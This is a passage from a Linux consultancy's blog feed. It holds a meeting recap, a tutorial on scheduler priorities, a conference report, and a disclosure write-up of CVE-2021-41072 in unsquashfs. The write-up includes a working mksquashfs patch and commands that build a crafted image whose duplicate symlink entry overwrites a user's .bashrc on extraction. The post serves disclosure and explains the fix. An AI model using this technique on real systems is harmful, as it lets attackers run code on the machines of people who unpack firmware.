Hiking up to the Glungezerhütte took only a few hours and due to foggy weather it wasn&rsquo;t too hot.
Up at the lodge the sun came out and we had perfect weather until Sunday when we hiked down to Tulfes.
This allowed among heated discussions also some nice hikes to the nearby summits such as the Sonnen- and Viggarspitze.</p>
<h2 id="the-topics-we-discussed">The topics we discussed</h2>
<p>This year many discussed topics orbited around solving maintenance and upgrade problems - especially the Xenomai project suffers from that.
The transition to the new interrupt pipeline implementation, <a href="https://evlproject.org/dovetail/">Dovetail</a> will hopefully reduce the overhead but it isn&rsquo;t a silver bullet.
PREEMPT_RT wise, recent regressions and subtle behavioral changes have been discussed.
Most notably changes to softirq processing which made meeting timing constraints for networking application more difficult.
The possibility of using <a href="https://www.iovisor.org/technology/xdp">XDP</a> and <a href="https://ebpf.io/">eBPF</a> was stormily debated,
bypassing most of Linux&rsquo; network stack seems also for time sensitive applications a desirable solution.
But it comes with a cost: more complexity and critical code in the application itself.
Other topics focused on minor problems such as trouble with the cgroup memory controller and eBPF centered workloads on PREEMPT_RT.
Xenomai folks also took the chance to present their realtime capable serial drivers after a PREEMPT_RT user complained about tty drivers and timing sensitive workloads on Linux.
Interestingly, eBPF came up on most discussions, sometimes as solution, sometimes as root cause of trouble.
At the end of the event we had a good mix of community, user facing features and deeply internal related topics.</p>
]]></content:encoded></item><item><title>Linux process priorities demystified</title><link>https://sigma-star.at/blog/2022/02/linux-proc-prios/</link><pubDate>Wed, 02 Feb 2022 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/02/linux-proc-prios/</guid><description><![CDATA[<h1 id="linux-process-priorities-demystified">Linux process priorities demystified</h1>
<p>Simple questions often have not so simple answers. One example is the question,
<em>What priority does this process have?</em>
This question normally comes up when a customer asks us to explain choices
made by the CPU scheduler.</p>
<p>To answer it we need to discuss further sub-questions.</p>
<ol>
<li>What thread of the process are you interested in?</li>
<li>What scheduling policy has this thread?</li>
<li>Who gave us the process priority we&rsquo;re looking into?</li>
</ol>
<h2 id="processes-threads-tasks">Processes? Threads? Tasks?</h2>
<p>Like most operating systems Linux supports <strong>threads</strong>, which can be seen as a
distinct execution flow.
In the simplest case we have a process with just one thread, the main thread.
While a thread models the execution flow, a <strong>process</strong> models shared resources
between threads.
The most prominent resource is memory. Within a process all threads share the
same memory. Hence, many threads that run in parallel can work on the same
memory to solve a problem.</p>]]></description><content:encoded><![CDATA[<h1 id="linux-process-priorities-demystified">Linux process priorities demystified</h1>
<p>Simple questions often have not so simple answers. One example is the question,
<em>What priority does this process have?</em>
This question normally comes up when a customer asks us to explain choices
made by the CPU scheduler.</p>
<p>To answer it we need to discuss further sub-questions.</p>
<ol>
<li>What thread of the process are you interested in?</li>
<li>What scheduling policy has this thread?</li>
<li>Who gave us the process priority we&rsquo;re looking into?</li>
</ol>
<h2 id="processes-threads-tasks">Processes? Threads? Tasks?</h2>
<p>Like most operating systems Linux supports <strong>threads</strong>, which can be seen as a
distinct execution flow.
In the simplest case we have a process with just one thread, the main thread.
While a thread models the execution flow, a <strong>process</strong> models shared resources
between threads.
The most prominent resource is memory. Within a process all threads share the
same memory. Hence, many threads that run in parallel can work on the same
memory to solve a problem.</p>
<p>The Linux CPU scheduler does not operate on processes, in fact it schedules
<strong>tasks</strong>. Within the kernel the smallest scheduling entity is a task, it can be
anything that can run on a CPU.
It might be a kernel thread, a userspace thread, a threaded interrupt, etc.
So don&rsquo;t get confused, for simplicity we can assume that threads and tasks
are the same for now.</p>
<p>Since the scheduler works on tasks, it ensures that each task (and therefore,
thread) has its own priority.
To learn about the priority one must inspect all threads of a process.
By default most Linux tools just show processes, the priorities shown there
are the priorities of the main thread. Many offer a way to show threads
too. For example in the <strong>top</strong> utility by pressing <code>H</code>.</p>
<p>Now we are able to answer the first sub-question. We now know that process
priorities actually apply per thread, so we need to inspect all threads
of a process.
If the process in question has just one thread or we&rsquo;re only interested in
a specific thread, things become easy again.</p>
<h2 id="scheduling-policy">Scheduling policy</h2>
<p>POSIX requires that an operating system offers different scheduling policies, also
sometimes called scheduling classes.
By default all tasks in Linux use the default schedulung policy, called <code>SCHED_NORMAL</code>
or <code>SCHED_OTHER</code>.</p>
<p>The scheduling algorithm behind <code>SCHED_OTHER</code> is not defined by POSIX and is implementation
specific. Linux makes sure that all tasks within this scheduling policy are treated
fairly. This means no task will starve and from the user&rsquo;s point of view it seems like
all programs are running all time, nothing will feel sluggish but heavy workloads
still get stuff done in a timely manner.
In this policy every task has a priority, it is called <strong>nice value</strong>.
The <strong>nice value</strong> denotes how nice a task is to other tasks. The value ranges from <code>19</code> to <code>-20</code>.
Where <code>-20</code> means that a task is not nice at all and wants to run as often as possible,
<code>19</code> signifies it is very nice to other tasks and is fine when the scheduler picks
other tasks much more often.
Default is <code>0</code>, meaning the task is neither selfish nor too devoted.
The current algorithm behind <code>SCHED_OTHER</code> is called Completely Fair Scheduling (CFS).
CFS offers two more policies: <code>SCHED_BATCH</code> and <code>SCHED_IDLE</code>. They make sure that a
thread either runs when possible in one batch, thus
interactivity does not matter, or when <code>SCHED_IDLE</code> is selected that the thread shall
run when no other task can run, so the very least priority.
Please note that <code>SCHED_IDLE</code> has nothing to do with the idle thread.
The idle thread is scheduled when absolutely nothing runable was found by the CPU
scheduler.
When <code>SCHED_BATCH</code> or <code>SCHED_IDLE</code> are selected CFS&rsquo;s priority have no meanining,
although some tools report a number.</p>
<p>Linux also implements the POSIX Realtime Extensions. Using these extensions time
critical programs can run on Linux that have to meet strict timing constraints.
It offers two policies: <code>SCHED_FIFO</code> and <code>SCHED_RR</code>.
These policies allow deterministic scheduling between threads.
Both policies have a priority between <code>1</code> and <code>99</code>, where <code>1</code> is the lowest.
The scheduler will pick a runnable task depending on the priority.</p>
<p>Linux offers another scheduling policy, <code>SCHED_DEADLINE</code>. This policy does not
allow the setting of a priority, so it&rsquo;s irrelevant here.
As opposed to a priority it allows setting a deadline by which a given work
would be completed. So the CPU scheduler has to make sure that the task
runs for long enough before the deadline.</p>
<p>One might wonder how all these policies relate to each other since they can be mixed on the same
system.
The Linux CPU scheduler consists of five decision algorithms that select tasks,
they get executed in the following order.</p>
<h3 id="decision-algorithms-for-task-selection-in-linux-cpu-scheduler-and-their-order">Decision algorithms for task selection in Linux CPU scheduler and their order</h3>
<ol>
<li>
<p>Stop-Task:
This algorithm can only be used by one internal kernel thread
to shut down a given CPU. The sole purpose is to preempt the tasks of a given CPU
before it can be shut down.</p>
</li>
<li>
<p>Deadline:
It implements the user visible <code>SCHED_DEADLINE</code> policy.
If a <code>SCHED_DEADLINE</code> thread is present on the system it will run before
all other user visible threads, always.</p>
</li>
<li>
<p>Realtime:
<code>SCHED_FIFO</code> and <code>SCHED_RR</code> policies are implemented here. So realtime threads
always run before regular tasks and right after <code>SCHED_DEADLINE</code> threads,
if present.</p>
</li>
<li>
<p>Fair (best known as CFS):
CFS implements <code>SCHED_OTHER</code>, <code>SCHED_BATCH</code> and <code>SCHED_IDLE</code>. Most threads
present on a system are handled by this algorithm.</p>
</li>
<li>
<p>Idle:
If no algorithm finds a runnable thread the idle algorithm schedules the
idle task on the CPU. The idle task is always runnable and puts the CPU
in idle mode.</p>
</li>
</ol>
<p>With this knowledge of scheduling policies we can answer the second sub-question.
<code>SCHED_OTHER</code> has a priority between <code>19</code> and <code>-20</code>, where <code>19</code> is the lowest and <code>-20</code> the highest.
<code>SCHED_FIFO</code> and <code>SCHED_RR</code> threads use a priority between <code>1</code> and <code>99</code>, where <code>1</code>
is the lowest.
Internally <code>SCHED_IDLE</code> and <code>SCHED_BATCH</code> tasks have a nice value too, but the scheduling algorithm does
not honour it. Don&rsquo;t get confused when a tool reports a nice value for <code>SCHED_BATCH</code> or <code>SCHED_IDLE</code>.</p>
<p>The <strong>ps</strong> tool is powerful and allows us to query this information.
For example: <code>ps axHo pid,lwp,comm,policy,nice,rtprio</code>.</p>
<p>So we ask <strong>ps</strong> for a full list of all threads on the system, as well as their process id, thread id, short name, scheduling policy, nice value and realtime-priority.</p>
<p><strong>ps</strong> reports <code>SCHED_DEADLINE</code> as <strong>DLN</strong>, <code>SCHED_OTHER</code> as <strong>TS</strong>, <code>SCHED_BATCH</code> as <strong>B</strong>, <code>SCHED_IDLE</code> as <strong>IDL</strong>, <code>SCHED_FIFO</code> as <strong>FF</strong> and <code>SCHED_RR</code> as <strong>RR</strong>.</p>
<h2 id="dealing-with-different-priority-representations">Dealing with different priority representations</h2>
<p>So far we saw that priorities of type <strong>nice</strong> range from <code>19</code> to <code>-20</code> and <strong>realtime</strong> from <code>1</code> to <code>99</code>.
These are the ranges you can always expect from process tools like <strong>ps</strong>.</p>
<p>Things get complicated when raw kernel interfaces are used or kernel internal
data is analyzed. You&rsquo;ll face such situations when developing your own tools or using Linux&rsquo;s kernel instrumentation facilities.</p>
<h3 id="getpriority-system-call">getpriority() system call</h3>
<p>A prominent example is the <code>getpriority()</code> system call. It returns the nice value of a thread.
If used in C, it will return an integer between <code>-20</code> and <code>19</code> which is the expected nice value,
but only if the C library performs a fixup.
The raw kernel system call will return a shifted value within the range <code>1</code> to <code>40</code>.
The reason behind the shift is Linux&rsquo;s system call ABI. Negative return values
represent error numbers.
So if your application uses system calls directly without a libc, this might be confusing.</p>
<table>
  <thead>
      <tr>
          <th>shifted value</th>
          <th>nice value</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>-20</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>21</td>
          <td>0</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>40</td>
          <td>19</td>
      </tr>
  </tbody>
</table>
<p>Using this system call makes only sense if the current scheduling policy is <code>SCHED_OTHER</code>.
For all other policies the returned priority is meaningless.</p>
<h3 id="unified-priorities">Unified priorities</h3>
<p>When you work with kernel instrumentation tools such as <strong>ftrace</strong> you will encounter the
deep internals of Linux.
Developers commonly use Linux&rsquo;s <code>sched_switch</code> trace point to see which task is picked
by the CPU scheduler.
ftrace will report a line like this one:</p>
<pre><code>[002] d... 565635.368831: sched_switch: prev_comm=kworker/u8:2 prev_pid=891 prev_prio=120 prev_state=R+ ==&gt; next_comm=kworker/u9:4 next_pid=983 next_prio=100
</code></pre>
<p>We observe that the scheduler on CPU 2 schedules from PID 891 to PID 983.
Please note that the PID in this context is not a process id as userspace would expect - it is in fact a thread id. Within the kernel, PID is the thread id.
What userspace gets via the <code>getpid()</code> system call is actually the thread group id.</p>
<p>The alert reader will notice that this trace point has more than just the PID, it also shows the priorities of both tasks. However, they don&rsquo;t make sense: <code>prev_prio</code> is <code>120</code> and <code>next_prio</code> is <code>100</code>. Neither are in the range of a nice level or a real time priority. Additionally, the trace point does not indicate what scheduling policy is being used.</p>
<p>To decipher these values we need to know that Linux internally uses
a unified priority among all scheduling policies.</p>
<p>It ranges from <code>-1</code> to <code>139</code>, where <code>-1</code> is the highest and <code>139</code> the lowest priority.
The unified priority is calcualted as table shows:</p>
<table>
  <thead>
      <tr>
          <th>policy</th>
          <th>specific priority</th>
          <th>unified priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DEADLINE</td>
          <td>-</td>
          <td>-1</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>99</td>
          <td>0</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>98</td>
          <td>1</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>1</td>
          <td>98</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>-20</td>
          <td>100</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>0</td>
          <td>120</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>19</td>
          <td>139</td>
      </tr>
  </tbody>
</table>
<p>With this information we can translate <code>prev_prio</code> to a nice value of <code>0</code>,
and <code>next_prio</code> to a nice value of <code>-20</code>.</p>
<p>A common pitfall when working with real time applications is to confuse
real time priorities from kernel internals and reported by user space tools.
Both are in the same range but reversed.</p>
<p>Attentive readers will notice that unified priority <code>99</code> is not claimed by
any policy. This is an inconsistency within the Linux scheduling code and as of
writing (v5.17-rc3) still present.</p>
<h3 id="proc-filesystem">proc filesystem</h3>
<p>The proc filesystem is the source of all process information tools such as <strong>ps</strong> display.
For each thread it offers a stat file which contains, beside many other statisticts, all
stats about the scheduling policy.</p>
<p>To learn the priority of a task, the <strong>18th</strong> and <strong>19th</strong> field of <code>/proc/&lt;pid&gt;/task/&lt;tid&gt;/stat</code> is
of interest.
If a task has the scheduling policy <code>SCHED_OTHER</code> the <strong>19th</strong> field is non-zero and exhibits
the nice value.</p>
<p>The <strong>18th</strong> field is more generic and exposes the unified priority of a task,
but shifted by <code>-100</code>.</p>
<table>
  <thead>
      <tr>
          <th>shifted value</th>
          <th>unified priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>-101</td>
          <td>-1</td>
      </tr>
      <tr>
          <td>-100</td>
          <td>0</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>-51</td>
          <td>49</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>39</td>
          <td>139</td>
      </tr>
  </tbody>
</table>
<h2 id="executive-summary">Executive summary</h2>
<ul>
<li>CPU scheduler decisions affect threads, not processes.</li>
<li>Each thread has a scheduling class, either <code>SCHED_DEADLINE</code>, <code>SCHED_OTHER</code>, <code>SCHED_BATCH</code>, <code>SCHED_IDLE</code>, <code>SCHED_FIFO</code> or <code>SCHED_RR</code>.</li>
<li>Scheduling classes <code>SCHED_OTHER</code>, <code>SCHED_FIFO</code> and <code>SCHED_RR</code> allow priorities.</li>
<li><code>SCHED_OTHER</code> priority is the so-called nice value, ranging from <code>-20</code> to <code>19</code>.</li>
<li><code>SCHED_FIFO</code> and <code>SCHED_RR</code> support priorities between <code>1</code> and <code>99</code>.</li>
<li>Raw kernel interfaces and instrumentation facilities expose a unified priority, often in a normalised/shifted way. Here be dragons.</li>
</ul>
]]></content:encoded></item><item><title>Re-exploiting unsquashfs</title><link>https://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/</link><pubDate>Mon, 10 Jan 2022 00:00:00 +0100</pubDate><author>Aaron Marcher</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/01/re-exploiting-unsquashfs/</guid><description><![CDATA[<h1 id="re-exploiting-unsquashfs">Re-exploiting unsquashfs</h1>
<p><a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">Squashfs</a> is a
compressed read-only filesystem for Linux that is commonly used on embedded systems,
rescue systems or similar cases. The <em>squashfs-tools</em> package provides a set of userspace
tools to create, modify and unpack squashfs image files. Prominent among security researchers
is the <em>unsquashfs</em> tool which extracts a squashfs image to specified path.</p>
<p>In 2021 commit
<a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e (&ldquo;Unsquashfs: fix write outside destination directory exploit&rdquo;)</a>
introduced a fix for <em>unsquashfs</em> that intends to fix vulnerability
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40153">CVE-2021-40153</a>:
A specially crafted filesystem could trick the <em>unsquashfs</em> tool to overwrite
arbitrary files.</p>]]></description><content:encoded><![CDATA[<h1 id="re-exploiting-unsquashfs">Re-exploiting unsquashfs</h1>
<p><a href="https://www.kernel.org/doc/html/latest/filesystems/squashfs.html">Squashfs</a> is a
compressed read-only filesystem for Linux that is commonly used on embedded systems,
rescue systems or similar cases. The <em>squashfs-tools</em> package provides a set of userspace
tools to create, modify and unpack squashfs image files. Prominent among security researchers
is the <em>unsquashfs</em> tool which extracts a squashfs image to specified path.</p>
<p>In 2021 commit
<a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e (&ldquo;Unsquashfs: fix write outside destination directory exploit&rdquo;)</a>
introduced a fix for <em>unsquashfs</em> that intends to fix vulnerability
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-40153">CVE-2021-40153</a>:
A specially crafted filesystem could trick the <em>unsquashfs</em> tool to overwrite
arbitrary files.</p>
<p>This fix however, missed an important part, which allows practically the same
exploit in another way. This vulnerability is identified as
<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-41072">CVE-2021-41072</a>.</p>
<p>Vulnerabilities of this sort are especially problematic since <em>unsquashfs</em> is widely
used among security researchers to analyze the firmware of embedded systems. A carefully crafted
squashfs will work perfectly fine when mounting in Linux but can overwrite
files when unpacking and thus compromise the system of the security researcher.</p>
<h2 id="lets-do-it-again">Let&rsquo;s do it again</h2>
<p>Let&rsquo;s take a closer look at how <code>CVE-2021-40153</code> was fixed and how we can bypass this fix for <code>CVE-2021-41072</code>:</p>
<p>Squashfs stores the filename in the directory entry, which <em>unsquashfs</em> uses
to create the new file while unpacking. However, <em>unsquashfs</em> did not validate the filename for
directory traversal outside the destination before commit <a href="https://github.com/plougher/squashfs-tools/commit/79b5a555058eef4e1e7ff220c344d39f8cd09646">79b5a555058e</a>.
A specially crafted squashfs image could thus write to locations outside the target directory, such as
<code>/etc/crontab</code> when unpacked with <em>unsquashfs</em>. This in turn could
lead to code execution.</p>
<p>The fix for <code>CVE-2021-40153</code> validates that no file in a squashfs image may contain slashes nor a
dot-dot sequence (<code>..</code>) which makes it impossible to have filenames that point outside
the target directory.</p>
<p>But there is another way to break outside the target directory while
unsquashing: Using good old symlinks!</p>
<p>First, we notice that <em>unsquashfs</em> has no check whether a directory already contains multiple directory
entries with the same name. We can thus craft a <em>valid</em> filesystem with multiple identically named
files in the same directory. During unpacking, <em>unsquashfs</em> will just overwrite the contents of the existing file.</p>
<p>When we combine this so that we first create a symlink which points outside the target directory,
we can then overwrite this target file&rsquo;s contents with the identically named regular file in the
squashfs image. This works, because <em>unsquashfs</em> will just follow the symlink it created.</p>
<h2 id="exploiting-the-issue">Exploiting the issue</h2>
<p>So, let&rsquo;s create a new squashfs filesystem that contains a symlink with the
name <code>a-symlink.txt</code> that points to the user&rsquo;s <code>.bashrc</code>. In the next step, we will patch
<em>mksquashfs</em> such that it will create a crafted filesystem where <code>a-symlink.txt</code> is both, a symlink
<strong>and</strong> a regular file:</p>
<pre><code>diff --git a/squashfs-tools/mksquashfs.c b/squashfs-tools/mksquashfs.c
index 127df00fb789..d9ea11a5e175 100644
--- a/squashfs-tools/mksquashfs.c
+++ b/squashfs-tools/mksquashfs.c
@@ -1141,9 +1141,13 @@ static void add_dir(squashfs_inode inode, unsigned int inode_number, char *name,
	struct squashfs_dir_entry idir;
	unsigned int start_block = inode &gt;&gt; 16;
	unsigned int offset = inode &amp; 0xffff;
-       unsigned int size = strlen(name);
+       unsigned int size;
	size_t name_off = offsetof(struct squashfs_dir_entry, name);

+       if (strcmp(name, &quot;z-payload.txt&quot;) == 0)
+               name = &quot;a-symlink.txt&quot;;
+
+       size = strlen(name);
	if(size &gt; SQUASHFS_NAME_LEN) {
		size = SQUASHFS_NAME_LEN;
		ERROR(&quot;Filename is greater than %d characters, truncating! ...&quot;
</code></pre>
<p>Create a filesystem that will include <code>z-payload.txt</code> (which can be a hostile script) as <code>a-symlink.txt</code>:</p>
<pre><code>$ ln -s ../.bashrc a-symlink.txt
$ echo &quot;echo Whooops!&quot; &gt; z-payload.txt
$ mksquashfs.patched . ../image.sfs
</code></pre>
<p>Now we have a filesystem with two identical file names in the same directory.
One <code>a-symlink.txt</code> is a symlink that points to <code>../.bashrc</code>, the other one is a regular
file which contains the text <code>echo Whooops!</code>.</p>
<p>Squashfs directory entries have an order and are usually sorted.
This is why our evil <code>a-symlink.txt</code> has <code>z-payload.txt</code> as original name, that way
we ensure that <em>unsquashfs</em> first creates the symlink and later writes the
regular file.</p>
<p>To make the exploit more flexible, the crafted image can even contain a whole
series of <code>../.bashrc</code> target paths with different path depths. This way, the
path is determined automatically. In this example we will add only one symlink
to keep it simple.</p>
<p>When Linux mounts the crafted filesystem, <strong>it reports no error</strong>. It just
lists the <code>a-symlink.txt</code> symlink twice:</p>
<pre><code>$ mount -o loop ../image.sfs /mnt/
$ ls -l /mnt/
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -&gt; ../.bashrc
lrwxrwxrwx 1 root root 13 12. Aug 00:33 /mnt/a-symlink.txt -&gt; ../.bashrc
</code></pre>
<p>But when unsquashing, it overwrites the <code>bashrc</code> in the user&rsquo;s home directory
(given <code>unsquashfs</code> is executed one directory layer below $HOME in this example):</p>
<pre><code>$ pwd
/home/user/directory
$ unsquashfs -d destination/ ../image.sfs
</code></pre>
<p>On next login, our message will appear when the shell follows the symlink written
over the user&rsquo;s <code>bashrc</code> (and thus parses our <code>z-payload.txt</code> contents):</p>
<pre><code>Whooops!
$
</code></pre>
<p>Exploit successful!</p>
<h2 id="mitigating-the-problem">Mitigating the problem</h2>
<p>Commit
<a href="https://github.com/plougher/squashfs-tools/commit/e0485802ec72996c20026da320650d8362f555bd">e0485802ec72 (&ldquo;Unsquashfs: additional write outside destination directory exploit fix&rdquo;)</a> fixes <code>CVE-2021-41072</code>.</p>
<p>It does so by explicitly checking for duplicate filenames within a
directory by using sorted directories in <em>v2.1</em>, <em>v3.x</em> and <em>v4.0</em> filesystems
and checking for consecutively identical filenames. Additionally, it ensures
sorted directories for <em>v1.x</em> and <em>v2.0</em> filesystems (no native sorting
available), by manually sorting first.</p>
]]></content:encoded></item><item><title>Alpine Linux Persistence and Storage Summit 2021</title><link>https://sigma-star.at/blog/2021/11/alpss-2021/</link><pubDate>Sat, 20 Nov 2021 00:00:00 +0100</pubDate><author>David Gstir</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2021/11/alpss-2021/</guid><description><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2021">Alpine Linux Persistence and Storage Summit 2021</h1>
<p>The <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was back this year in October. Again, the program committee consisting of Christoph Hellwig,
Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2021 Snow Edition" width="1600" height="1067"></figure>
<h2 id="day-1-pizza-and-hiking">Day 1: Pizza and Hiking</h2>
<p>The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the <em>Zirbenweg</em>
to the Lizumer Hütte, a small path with some nice views for taking photos. After some
sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.</p>]]></description><content:encoded><![CDATA[<h1 id="alpine-linux-persistence-and-storage-summit-2021">Alpine Linux Persistence and Storage Summit 2021</h1>
<p>The <a href="https://alpss.at">Alpine Linux Persistence and Storage Summit (ALPSS)</a> was back this year in October. Again, the program committee consisting of Christoph Hellwig,
Johannes Thumshirn and our own Richard Weinberger did a great job in organizing the get-together of the Linux Kernel Storage community. Like previous times, it took place at Lizumer Hütte (roughly 2000m altitude!) in the Tuxer Alps in Tyrol, Austria.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="ALPSS 2021 Snow Edition" width="1600" height="1067"></figure>
<h2 id="day-1-pizza-and-hiking">Day 1: Pizza and Hiking</h2>
<p>The conference started on Tuesday with a nice pre-conference lunch (Pizza) in Innsbruck. Afterward, we took Taxis to Lager Walchen in the Wattental. Then it was time for everybody to put on their rain-proof hiking gear and shoulder the rucksacks. We hiked up the <em>Zirbenweg</em>
to the Lizumer Hütte, a small path with some nice views for taking photos. After some
sweating and puffing, we arrived there roughly two hours later and were greeted by the lodge-keeper with great food and drinks.</p>
<h2 id="day-2-storage-mixed-with-snow">Day 2: Storage mixed with Snow</h2>
<p>The next day started with a lot of snow, a joint breakfast in the cozy common room, and of course the first talks. First off were Joel Colledge and Philipp Reisner from LINBIT
with their talk on performance optimizations in the
<a href="https://linbit.com/drbd/">Distributed Replicated Storage System (DRDB)</a>. They
showcased areas of DRDB where they have done or plan to do performance improvements.
One area directed to more exotic storage hardware like <a href="https://en.wikipedia.org/wiki/Persistent_memory">Persistent memory (PMEM)</a>, and three general optimizations.</p>
<p>They were followed by Richard Weinberger with a talk about his side project MUSE. MUSE
enables emulating <a href="http://www.linux-mtd.infradead.org/">Memory Technology Devices (MTD)</a>
in userspace using the FUSE interface. Until now we already had nandsim (<code>CONFIG_MTD_NAND_NANDSIM</code>)
to emulate NAND chips, but MUSE gives a much more flexible and hackable approach. It
also supports SPI NOR and other types of flash storage.
This is especially helpful for us at sigma star gmbh when debugging NAND, MTD, or UBIFS
issues for our customers. (Hint: keep a lookout for a future, dedicated post about MUSE here at the <a href="https://blog.sigma-star.at">sigma star blog</a>).</p>
<p>While it was still snowing heavily outside, we continued with two short talks by
Hannes Reinecke from SUSE on NVMe over Fabrics in-band authentication and NVMe
userspace events and interaction. Especially the talk on in-band authentication was
truly interesting. Hannes explained how the NVMe 2.0 specification describes an
authentication approach over TCP and how he implemented it for the Linux
Kernel. This spiked some discussion since the approach seems to reinvent the wheel
as it is very similar to TLS 1.3. More to the point, it is simply an ephemeral
Diffie-Hellman exchange that results in a shared session key. According to Hannes,
this session key is then <em>not used any further</em>, unless one also uses NVMe encryption,
which is just plain TLS 1.3. The conclusion among the participants of ALPSS was that the current specification should probably be improved before it is ready for wider use.</p>
<p>After a short tea break (and more snow), we continued with two talks by Damien Le Moal
from Western Digital on command duration limits and Multi-actuator HDDs. In his first talk,
Damien described his experiments with high throughput while still minimizing command execution
latency. He showed a more general approach called Command Duration Limits (CDL) which
expands on the ATA NCQ IO priority feature common to many SATA hard disks. Where ATA NCQ IO
priority is only available via ATA, CDL is usable for both ATA and SCSI. The general idea of CDL
is to augment disk commands with time limits and a policy on what to do if any limit is exceeded.
In his second talk, Damien showcased his findings on the performance of varying payloads on Multi-actuator HDDs.</p>
<p>Since it was still snowing a lot, hiking was canceled and the afternoon continued with BoFs and
discussions on a multitude of storage topics. The evening concluded with great food, drinks, and loads
of socializing.</p>
<h2 id="day-3-more-storage">Day 3: More Storage</h2>
<p>The third day started with a presentation from Matias Bjørling on the current state of Zoned Namespace SSDs
on Linux followed by a discussion about what kind of applications can benefit from ZNS.
Right afterward, John Meneghini gave insights into his work on a technical proposal to improve NVMe abort (TP-4097).
The presentation was closed by a lengthy discussion about whether an abort command should be executed on the admin queue or not.</p>
<p>After a short coffee break to finally wake up, Dennis Maisenbacher presented a novel approach to implementing a
Flash Translation Layer (FTL) on top of zoned devices using a Linux device-mapper driver, DM-zap.
Various developers in the audience got confused by the usage of the word block on his slides.
A block can be seen as a 512b/4k sector unit of a hard disk or an erase block of a flash-based device.
In the end, everyone agreed that Dennis had the best ASCII art graphics of all presenters so far. ;-)
The next talk focused also on zoned devices. Christoph Hellwig showed his work on a virtual block device that
allows random access to zones. The device format is log-structured and makes use of Log-Structured Merge (LSM) trees.
During the break, Christoph did a demo of <a href="https://xfs.wiki.kernel.org">XFS</a> running on top of his log-structured disk.</p>
<p>Keith Busch gave insights into his recent proposal on RAID support for zoned devices. A short discussion emerged whether it is good or not to utilize the page cache for this.
Johannes Thumshirn closed the session with his idea on declustered parity RAID support on <a href="https://btrfs.wiki.kernel.org">btrfs</a>.
This RAID mode allows arbitrarily sided disks in a RAID system.</p>
<p>With the weather still being bad, most attendees stayed inside and enjoyed the surprisingly well-working internet connection of the lodge.
After another excellent dinner, various discussions emerged and ended not seldom in heated debates.</p>
<p>Finally, Hans Holmberg offered two bottles of excellent Champagner he carried himself up to the lodge to celebrate our long-awaited meetup.</p>
<h2 id="day-4-back-down-and-farewells">Day 4: Back down and Farewells</h2>
<p>The last day of ALPSS concluded with a last joint breakfast, packing rucksacks, and hiking back to
the base. This time we took the road down to Lager Walchen which made the hike down a bit quicker
and especially safer when there is snow. With everybody safe back in the valley, we said our farewells
and made our way back home.</p>
<p>Like every time, ALPSS was a great mix of in-depth, to-the-point talks and discussions on the latest in Linux Storage and the breathtaking scenery of the Tyrolean Alps.</p>
]]></content:encoded></item><item><title>How security-integration for IT Startups works best</title><link>https://sigma-star.at/blog/2021/09/security-for-startups/</link><pubDate>Tue, 14 Sep 2021 00:00:00 +0200</pubDate><author>Thomas Dierl</author><guid>https://sigma-star.at/blog/2021/09/security-for-startups/</guid><description>&lt;h1 id="how-to-integrate-security-in-it-startups">How to integrate security in IT Startups&lt;/h1>
&lt;p>IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.&lt;/p></description><content:encoded><![CDATA[<h1 id="how-to-integrate-security-in-it-startups">How to integrate security in IT Startups</h1>
<p>IT Startup companies often aim at building a minimal viable product as fast as possible to reduce costs. They just forget one thing: a strategy like that can be costly later on. Especially if the security part was dismissed in the development phase. If a Startup invests some money into security right from the scratch, the costs will be much lower in the end. Why? And what is our strategy to build security in IT Startup companies? Find out more in the following lines.</p>
<h2 id="it-security-a-brief-history">IT security: a brief history</h2>
